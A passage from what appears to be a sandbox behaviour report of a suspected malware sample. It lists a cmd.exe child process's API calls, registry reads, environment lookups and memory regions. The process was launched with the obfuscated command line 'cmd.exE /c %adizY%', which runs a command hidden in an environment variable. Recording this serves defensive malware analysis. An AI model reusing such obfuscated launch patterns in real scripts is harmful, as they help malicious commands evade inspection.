[0104.014] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x32e900, nSize=0x380, lpNumberOfBytesRead=0x32e8c0 | out: lpBuffer=0x32e900*, lpNumberOfBytesRead=0x32e8c0*=0x380) returned 1 [0104.015] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0125.562] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x32ef08 | out: lpExitCode=0x32ef08*=0x0) returned 1 [0125.562] CloseHandle (hObject=0x54) returned 1 [0125.562] _vsnwprintf (in: _Buffer=0x32f178, _BufferCount=0x13, _Format="%08X", _ArgList=0x32ef18 | out: _Buffer="00000000") returned 8 [0125.562] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0125.564] GetEnvironmentStringsW () returned 0x4abd80* [0125.564] FreeEnvironmentStringsW (penv=0x4abd80) returned 1 [0125.565] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0125.565] GetEnvironmentStringsW () returned 0x4abd80* [0125.565] FreeEnvironmentStringsW (penv=0x4abd80) returned 1 [0125.565] DeleteProcThreadAttributeList (in: lpAttributeList=0x32efd8 | out: lpAttributeList=0x32efd8) [0125.565] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 1 [0125.565] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.565] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0125.566] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.566] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0125.566] _get_osfhandle (_FileHandle=0) returned 0x58 [0125.566] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 0 [0125.566] GetConsoleOutputCP () returned 0x1b5 [0125.566] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0125.566] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0125.567] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32f5b8 | out: _Buffer="\r\n") returned 2 [0125.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.567] GetFileType (hFile=0x7) returned 0x2 [0125.568] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.568] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f548 | out: lpMode=0x32f548) returned 1 [0125.568] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.568] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x32f588, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x32f588*=0x2) returned 1 [0125.569] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0125.569] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0125.569] _vsnwprintf (in: _Buffer=0x4a0deb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x32f5c8 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25 [0125.569] _vsnwprintf (in: _Buffer=0x4a0deb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x32f5c8 | out: _Buffer=">") returned 1 [0125.569] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.569] GetFileType (hFile=0x7) returned 0x2 [0125.569] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0125.569] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f578 | out: lpMode=0x32f578) returned 1 [0125.569] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.569] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0deb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x32f5b8, lpReserved=0x0 | out: lpBuffer=0x4a0deb60*, lpNumberOfCharsWritten=0x32f5b8*=0x1a) returned 1 [0125.570] _get_osfhandle (_FileHandle=0) returned 0x58 [0125.570] GetFileType (hFile=0x58) returned 0x3 [0125.570] _get_osfhandle (_FileHandle=0) returned 0x58 [0125.570] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.570] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320, lpNumberOfBytesRead=0x32f8b8*=0x0, lpOverlapped=0x0) returned 0 [0125.570] GetLastError () returned 0x6d [0125.570] _get_osfhandle (_FileHandle=0) returned 0x58 [0125.570] GetFileType (hFile=0x58) returned 0x3 [0125.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.570] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0125.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.570] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0125.571] _get_osfhandle (_FileHandle=0) returned 0x58 [0125.571] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 0 [0125.571] longjmp () [0125.573] exit (_Code=0) Process: id = "13" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x58807000" os_pid = "0xb4c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xb44" cmd_line = "cmd.exE /c %adizY% " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1302 start_va = 0x10000 end_va = 0x44fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1303 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1304 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1305 start_va = 0xf0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1306 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1307 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1308 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1309 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1310 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1311 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1312 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1313 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1314 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1315 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1316 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1317 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1318 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1319 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1320 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1321 start_va = 0x260000 end_va = 0x35ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1322 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1323 start_va = 0x400000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1324 start_va = 0x500000 end_va = 0x687fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 1325 start_va = 0x690000 end_va = 0x810fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 1326 start_va = 0x820000 end_va = 0x1c1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 1327 start_va = 0x1c20000 end_va = 0x1f62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c20000" filename = "" Region: id = 1328 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1329 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1330 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1331 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1332 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1333 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1334 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1335 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1336 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1337 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1338 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1339 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1340 start_va = 0x1f70000 end_va = 0x206ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 1341 start_va = 0x2070000 end_va = 0x233efff entry_point = 0x2070000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 95 os_tid = 0xb50 [0104.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ef870 | out: lpSystemTimeAsFileTime=0x1ef870*(dwLowDateTime=0xdef6f380, dwHighDateTime=0x1d475ba)) [0104.079] GetCurrentProcessId () returned 0xb4c [0104.079] GetCurrentThreadId () returned 0xb50 [0104.079] GetTickCount () returned 0x22941 [0104.079] QueryPerformanceCounter (in: lpPerformanceCount=0x1ef878 | out: lpPerformanceCount=0x1ef878*=1814655900000) returned 1 [0104.080] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0104.080] __set_app_type (_Type=0x1) [0104.080] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0104.080] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0104.080] GetCurrentThreadId () returned 0xb50 [0104.080] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb50) returned 0x3c [0104.080] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0104.081] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0104.081] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0104.081] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0104.081] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ef808 | out: phkResult=0x1ef808*=0x0) returned 0x2 [0104.081] VirtualQuery (in: lpAddress=0x1ef7f0, lpBuffer=0x1ef770, dwLength=0x30 | out: lpBuffer=0x1ef770*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.081] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1ef770, dwLength=0x30 | out: lpBuffer=0x1ef770*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.081] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1ef770, dwLength=0x30 | out: lpBuffer=0x1ef770*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.081] VirtualQuery (in: lpAddress=0xf4000, lpBuffer=0x1ef770, dwLength=0x30 | out: lpBuffer=0x1ef770*(BaseAddress=0xf4000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.081] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1ef770, dwLength=0x30 | out: lpBuffer=0x1ef770*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0104.081] GetConsoleOutputCP () returned 0x1b5 [0104.081] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0104.082] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0104.082] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.082] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0104.082] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.082] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0104.083] _get_osfhandle (_FileHandle=1) returned 0x7 [0104.083] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0104.083] _get_osfhandle (_FileHandle=0) returned 0x58 [0104.083] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 0 [0104.083] GetEnvironmentStringsW () returned 0x2ac6c0* [0104.086] FreeEnvironmentStringsW (penv=0x2ac6c0) returned 1 [0104.086] GetEnvironmentStringsW () returned 0x2ac6c0* [0104.089] FreeEnvironmentStringsW (penv=0x2ac6c0) returned 1 [0104.089] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee6c8 | out: phkResult=0x1ee6c8*=0x44) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x0, lpData=0x1ee6e0*=0x18, lpcbData=0x1ee6c4*=0x1000) returned 0x2 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x1, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x0, lpData=0x1ee6e0*=0x1, lpcbData=0x1ee6c4*=0x1000) returned 0x2 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x0, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x40, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x40, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x0, lpData=0x1ee6e0*=0x40, lpcbData=0x1ee6c4*=0x1000) returned 0x2 [0104.089] RegCloseKey (hKey=0x44) returned 0x0 [0104.089] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee6c8 | out: phkResult=0x1ee6c8*=0x44) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x0, lpData=0x1ee6e0*=0x40, lpcbData=0x1ee6c4*=0x1000) returned 0x2 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x1, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x0, lpData=0x1ee6e0*=0x1, lpcbData=0x1ee6c4*=0x1000) returned 0x2 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x0, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.089] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x9, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.090] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x4, lpData=0x1ee6e0*=0x9, lpcbData=0x1ee6c4*=0x4) returned 0x0 [0104.090] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee6c0, lpData=0x1ee6e0, lpcbData=0x1ee6c4*=0x1000 | out: lpType=0x1ee6c0*=0x0, lpData=0x1ee6e0*=0x9, lpcbData=0x1ee6c4*=0x1000) returned 0x2 [0104.090] RegCloseKey (hKey=0x44) returned 0x0 [0104.090] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bd0 [0104.090] srand (_Seed=0x5be16bd0) [0104.090] GetCommandLineW () returned="cmd.exE /c %adizY% " [0104.090] GetCommandLineW () returned="cmd.exE /c %adizY% " [0104.090] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0104.090] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fa46d0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0104.090] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0104.090] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0104.090] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0104.090] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.091] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0104.091] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0104.091] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0104.091] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0104.091] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0104.091] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0104.091] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0104.091] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0104.091] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0104.091] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef4d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0104.091] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x1ef4d0, lpFilePart=0x1ef4b0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1ef4b0*="Desktop") returned 0x19 [0104.091] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0104.091] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef1e0 | out: lpFindFileData=0x1ef1e0) returned 0x1fa48e0 [0104.091] FindClose (in: hFindFile=0x1fa48e0 | out: hFindFile=0x1fa48e0) returned 1 [0104.092] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x1ef1e0 | out: lpFindFileData=0x1ef1e0) returned 0x1fa48e0 [0104.092] FindClose (in: hFindFile=0x1fa48e0 | out: hFindFile=0x1fa48e0) returned 1 [0104.092] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x1ef1e0 | out: lpFindFileData=0x1ef1e0) returned 0x1fa48e0 [0104.092] FindClose (in: hFindFile=0x1fa48e0 | out: hFindFile=0x1fa48e0) returned 1 [0104.092] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0104.092] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0104.092] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0104.092] GetEnvironmentStringsW () returned 0x2ac6c0* [0104.093] FreeEnvironmentStringsW (penv=0x2ac6c0) returned 1 [0104.093] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0104.093] GetConsoleOutputCP () returned 0x1b5 [0104.093] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0104.093] GetUserDefaultLCID () returned 0x409 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ef5e0, cchData=128 | out: lpLCData="0") returned 2 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ef5e0, cchData=128 | out: lpLCData="0") returned 2 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ef5e0, cchData=128 | out: lpLCData="1") returned 2 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0104.094] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: 